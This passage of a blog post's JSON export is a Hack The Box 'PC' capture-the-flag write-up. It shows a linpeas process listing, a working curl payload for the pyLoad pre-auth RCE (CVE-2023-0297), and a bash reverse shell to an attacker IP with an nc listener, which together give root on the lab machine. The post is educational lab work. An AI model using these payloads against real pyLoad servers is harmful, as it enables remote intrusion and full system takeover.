05:36   0:25 \/lib\/systemd\/systemd-journald\nroot         514  0.0  0.1  20176  5864 ?        Ss   05:36   0:00 \/lib\/systemd\/systemd-udevd\nsystemd+     534  0.0  0.1  19080  7608 ?        Ss   05:36   0:00 \/lib\/systemd\/systemd-networkd\n  \u2514\u2500(Caps) 0x0000000000003c00=cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw\nroot         679  0.0  0.4 280192 18004 ?        SLsl 05:36   0:00 \/sbin\/multipathd -d -s\nroot         707  0.0  0.0  11356  1680 ?        S&lt;sl 05:36   0:00 \/sbin\/auditd\nroot         738  0.0  0.2  49296 10444 ?        Ss   05:36   0:00 \/usr\/bin\/VGAuthService\nroot         739  0.1  0.2 239496  8092 ?        Ssl  05:36   0:10 \/usr\/bin\/vmtoolsd\nroot         770  0.0  0.1  99900  5980 ?        Ssl  05:36   0:00 \/sbin\/dhclient -1 -4 -v -i -pf \/run\/dhclient.eth0.pid -lf \/var\/lib\/dhcp\/dhclient.eth0.leases -I -df \/var\/lib\/dhcp\/dhclient6.eth0.leases eth0\nroot         819  0.0  0.2 241052  9180 ?        Ssl  05:36   0:03 \/usr\/lib\/accountsservice\/accounts-daemon\nmessage+     820  0.0  0.1   7572  4436 ?        Ss   05:36   0:00 \/usr\/bin\/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only\n  \u2514\u2500(Caps) 0x0000000020000000=cap_audit_write\nroot         833  0.0  0.0  81956  3648 ?        Ssl  05:36   0:00 \/usr\/sbin\/irqbalance --foreground\nroot         834  0.0  0.4  29876 18312 ?        Ss   05:36   0:00 \/usr\/bin\/python3 \/usr\/bin\/networkd-dispatcher --run-startup-triggers\nroot         835  0.0  0.2 236440  9040 ?        Ssl  05:36   0:00 \/usr\/lib\/policykit-1\/polkitd --no-debug\nsyslog       836  0.2  0.1 224344  5352 ?        Ssl  05:36   0:16 \/usr\/sbin\/rsyslogd -n -iNONE\nroot         838  0.0  1.0 875264 41940 ?        Ssl  05:36   0:01 \/usr\/lib\/snapd\/snapd\nroot         839  0.0  0.1  17492  7760 ?        Ss   05:36   0:00 \/lib\/systemd\/systemd-logind\nroot         841  0.0  0.3 395492 13836 ?        Ssl  05:36   0:00 \/usr\/lib\/udisks2\/udisksd\nroot         886  0.0  0.3 318824 13412 ?        Ssl  05:36   0:00 \/usr\/sbin\/ModemManager\nroot        1054  0.4  0.7 634840 31420 ?        Ssl  05:36   0:35 \/usr\/bin\/python3 \/opt\/app\/app.py\nroot        1060  0.0  1.5 1221072 62468 ?       Ssl  05:36   0:06 \/usr\/bin\/python3 \/usr\/local\/bin\/pyload\nroot        1073  0.0  0.0   8540  2940 ?        Ss   05:36   0:00 \/usr\/sbin\/cron -f\ndaemon&#91;0m      1077  0.0  0.0   3796  2276 ?        Ss   05:36   0:00 \/usr\/sbin\/atd -f\nroot        1082  0.0  0.0   5828  1984 tty1     Ss+  05:36   0:00 \/sbin\/agetty -o -p -- u --noclear tty1 linux\nsau         1714  0.0  0.1  13960  6088 ?        S    06:11   0:00  |   _ sshd: sau@pts\/1\nsau         1715  0.0  0.1   9988  5012 pts\/1    Ss+  06:11   0:00  |       _ -bash\nsau         2196  0.0  0.1  13964  5304 ?        S    07:39   0:00      _ sshd: sau@pts\/0\nsau         2197  0.0  0.1   9988  4936 pts\/0    Ss   07:39   0:00          _ -bash\nsau         2224  0.0  0.2  26536 10856 pts\/0    S+   07:45   0:00              _ curl &lt;http:\/\/10.10.16.64\/linpeas.sh&gt;\nsau         2225  0.4  0.0   3532  2728 pts\/0    S+   07:45   0:00              _ sh\nsau         5451  0.0  0.0   3532  1020 pts\/0    S+   07:46   0:00                  _ sh\nsau         5455  0.0  0.0  10952  3616 pts\/0    R+   07:46   0:00                  |   _ ps fauxwww\nsau         5454  0.0  0.0   3532  1020 pts\/0    S+   07:46   0:00                  _ sh\nsystemd+    1279  0.0  0.3  24448 12172 ?        Ss   05:42   0:00 \/lib\/systemd\/systemd-resolved\nsau         1356  0.0  0.2  19104  9844 ?        Ss   05:43   0:00 \/lib\/systemd\/systemd --user\nsau         1359  0.0  0.0 169352  3388 ?        S    05:43   0:00  _ (sd-pam)\nsau         5342  0.0  0.1   7108  4088 ?        Ss   07:45   0:00  _ \/usr\/bin\/dbus-daemon&#91;0m --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see some listen ports:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563 Active Ports\n\u255a &lt;https:\/\/book.hacktricks.xyz\/linux-hardening\/privilege-escalation#open-ports&gt;                                                                                                                                                \ntcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                                                                                                                                            \ntcp        0      0 0.0.0.0:9666            0.0.0.0:*               LISTEN      -                   \ntcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   \ntcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   \ntcp6       0      0 :::50051                :::*                    LISTEN      -                   \ntcp6       0      0 :::22                   :::*                    LISTEN      -\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In this point we will try to reach the port 8000 to see which kind of service is running:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sau@pc:~$ curl &lt;http:\/\/127.0.0.1:8000&gt;\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can see it is some kind of application web and we can follow the next \u201curl\u201d:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!doctype html&gt;\n&lt;html lang=en&gt;\n&lt;title&gt;Redirecting...&lt;\/title&gt;\n&lt;h1&gt;Redirecting...&lt;\/h1&gt;\n&lt;p&gt;You should be redirected automatically to the target URL: &lt;a href=\"\/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F\"&gt;\/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F&lt;\/a&gt;. If not, click the link.\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can check the next URL:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sau@pc:~$ curl &lt;http:\/\/127.0.0.1:8000\/login&gt;\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will find login for PyLoad. After this we will search more information in google and we will find this post to exploit RCE in this service:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/github.com\/bAuh0lz\/CVE-2023-0297_Pre-auth_RCE_in_pyLoad\">https:\/\/github.com\/bAuh0lz\/CVE-2023-0297_Pre-auth_RCE_in_pyLoad<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Also an exploit code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sau@pc:~$ curl -i -s -k -X $'POST' \\\\\n    --data-binary $'jk=pyimport%20os;os.system(\\\\\"touch%20\/tmp\/pwnd\\\\\");f=function%20f2(){};&amp;package=xxx&amp;crypted=AAAA&amp;&amp;passwords=aaaa' \\\\\n    $'http:\/\/&lt;target&gt;\/flash\/addcrypted2'\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We will try to execute a reverse shell through this exploit. First of all we can use h<a href=\"https:\/\/www.revshells.com\/\">ttps:\/\/www.revshells.com<\/a>. I have selected this reverse shell:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/bash\n\/bin\/bash -i &gt;&amp; \/dev\/tcp\/10.10.16.64\/9000 0&gt;&amp;1\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Add execution permission:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sau@pc:~$ chmod +x rv.sh\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After creating our reverse shell we will need to turn on our netcat server:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo nc -nlvp 9000\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we can modify the exploit code to execute our reverse shell (execute into the session SSH):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sau@pc:~$ curl -i -s -k -X $'POST' \\\\\n    --data-binary $'jk=pyimport%20os;os.system(\\\\\"bash%20\/tmp\/rv.sh\\\\\");f=function%20f2(){};&amp;package=xxx&amp;crypted=AAAA&amp;&amp;passwords=aaaa' \\\\\n    $'&lt;http:\/\/localhost:8000\/flash\/addcrypted2&gt;'\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, we have obtained our connection with root privileges:<\/p>\n\n\n\n<figure class=\"wp-block-image aligncenter size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"179\" data-attachment-id=\"3081\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/untitled-7-2\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7.png?fit=1306%2C292&amp;ssl=1\" data-orig-size=\"1306,292\" data-comments-opened=\"1\" data-image-title=\"Untitled-7\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7.png?fit=800%2C179&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7.png?resize=800%2C179&#038;ssl=1\" alt=\"\" class=\"wp-image-3081\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7.png?w=1306&amp;ssl=1 1306w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7.png?resize=300%2C67&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/Untitled-7.png?resize=768%2C172&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The next step is obtain the root flag!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In closing, I would like to emphasize that the realm of cyber security is a constantly evolving landscape. As we venture through this dynamic world, it&#8217;s important to continue learning and adapting. Each Capture The Flag challenge, each line of code, each high port we encounter serves as a reminder that there&#8217;s always more to learn.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Remember, enumeration isn&#8217;t just about counting; it&#8217;s about understanding, getting into the minutiae of systems, and revealing hidden vulnerabilities. It&#8217;s through meticulous probing and exploration that we truly get to the heart of the system. Injections aren&#8217;t merely exploits, but valuable lessons in recognizing and mitigating risks.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In our journey to secure cyberspace, it&#8217;s our curiosity and persistence that drive us forward. It&#8217;s about asking the right questions, cracking the code, and leaving no stone unturned. As we step into tomorrow, let&#8217;s continue to challenge assumptions, elevate our knowledge, and shape the future of cyber security.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Remember, the greatest weapon in the world of cyber security is knowledge. Stay curious, stay vigilant, and most importantly, never stop learning.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hey there, Cyber Warriors! \ud83d\ude80 Cracking the code, stepping into the mind of the creator, and uncovering secrets no one else has discovered yet \u2014 this is the thrill of &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3074,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"Just wrapped up the 'PC' CTF challenge on #HackTheBox. Explored some high-port services, practiced enumeration, injection, and advanced exploration techniques. Perfect mix of real-world scenarios to hone #cybersecurity skills. #Pentesting #CTF #Enum","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[354,379,380,376,353,370,170,377,372,375,41,378,374,373,371],"class_list":["post-3072","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-ctf","tag-cyber-security","tag-cybersecurity-challenge","tag-enumeration","tag-hackthebox","tag-high-port-services","tag-injection","tag-learning","tag-network-scanning","tag-pc","tag-pentesting","tag-privilege-escalation-2","tag-real-world-scenarios","tag-service-discovery","tag-vulnerability-exploitation"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.9 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hack The Box | PC | Write Up - Hardsoft Security<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hack The Box | PC | Write Up - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Hey there, Cyber Warriors! \ud83d\ude80 Cracking the code, stepping into the mind of the creator, and uncovering secrets no one else has discovered yet \u2014 this is the thrill of ...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2023-06-07T06:00:00+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-10-20T13:06:42+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1396\" \/>\n\t<meta property=\"og:image:height\" content=\"1204\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"7 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Hack The Box | PC | Write Up\",\"datePublished\":\"2023-06-07T06:00:00+00:00\",\"dateModified\":\"2023-10-20T13:06:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/\"},\"wordCount\":1198,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/image-13.png?fit=1396%2C1204&ssl=1\",\"keywords\":[\"CTF\",\"cyber-security\",\"cybersecurity-challenge\",\"enumeration\",\"hackthebox\",\"high-port-services\",\"injection\",\"learning\",\"network-scanning\",\"PC\",\"pentesting\",\"privilege-escalation\",\"real-world-scenarios\",\"service-discovery\",\"vulnerability-exploitation\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/\",\"name\":\"Hack The Box | PC | Write Up - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/image-13.png?fit=1396%2C1204&ssl=1\",\"datePublished\":\"2023-06-07T06:00:00+00:00\",\"dateModified\":\"2023-10-20T13:06:42+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/image-13.png?fit=1396%2C1204&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/06\\\/image-13.png?fit=1396%2C1204&ssl=1\",\"width\":1396,\"height\":1204},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/06\\\/07\\\/hack-the-box-pc-write-up\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hack The Box | PC | Write Up\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hack The Box | PC | Write Up - Hardsoft Security","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/","og_locale":"es_ES","og_type":"article","og_title":"Hack The Box | PC | Write Up - Hardsoft Security","og_description":"Hey there, Cyber Warriors! \ud83d\ude80 Cracking the code, stepping into the mind of the creator, and uncovering secrets no one else has discovered yet \u2014 this is the thrill of ...","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2023-06-07T06:00:00+00:00","article_modified_time":"2023-10-20T13:06:42+00:00","og_image":[{"width":1396,"height":1204,"url":"https:\/\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"7 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"Hack The Box | PC | Write Up","datePublished":"2023-06-07T06:00:00+00:00","dateModified":"2023-10-20T13:06:42+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/"},"wordCount":1198,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1396%2C1204&ssl=1","keywords":["CTF","cyber-security","cybersecurity-challenge","enumeration","hackthebox","high-port-services","injection","learning","network-scanning","PC","pentesting","privilege-escalation","real-world-scenarios","service-discovery","vulnerability-exploitation"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/","name":"Hack The Box | PC | Write Up - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1396%2C1204&ssl=1","datePublished":"2023-06-07T06:00:00+00:00","dateModified":"2023-10-20T13:06:42+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1396%2C1204&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-13.png?fit=1396%2C1204&ssl=1","width":1396,"height":1204},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/07\/hack-the-box-pc-write-up\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"Hack The Box | PC | Write Up"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-Ny","jetpack-related-posts":[{"id":3056,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/02\/try-hack-me-overpass-write-up\/","url_meta":{"origin":3072,"position":0},"title":"Try Hack Me | Overpass | Write Up","author":"david","date":"junio 2, 2023","format":false,"excerpt":"Hey there, Cyber Warriors! \ud83d\ude80 Today we will see another CTF write up but now from Try Hack Me. I did this CTF in one of the workshops in IT-S Now Cyber Security conference in Vienna. Come with me and learn how you can resolv this machine! We will walk\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3092,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/","url_meta":{"origin":3072,"position":1},"title":"Hack The Box | Inject | Write Up","author":"david","date":"junio 14, 2023","format":false,"excerpt":"Just tackled the 'Inject' machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you're into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec The first step we will do is perform our Nmap scan: \u2514\u2500$ sudo nmap -sT -n\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200 1x, 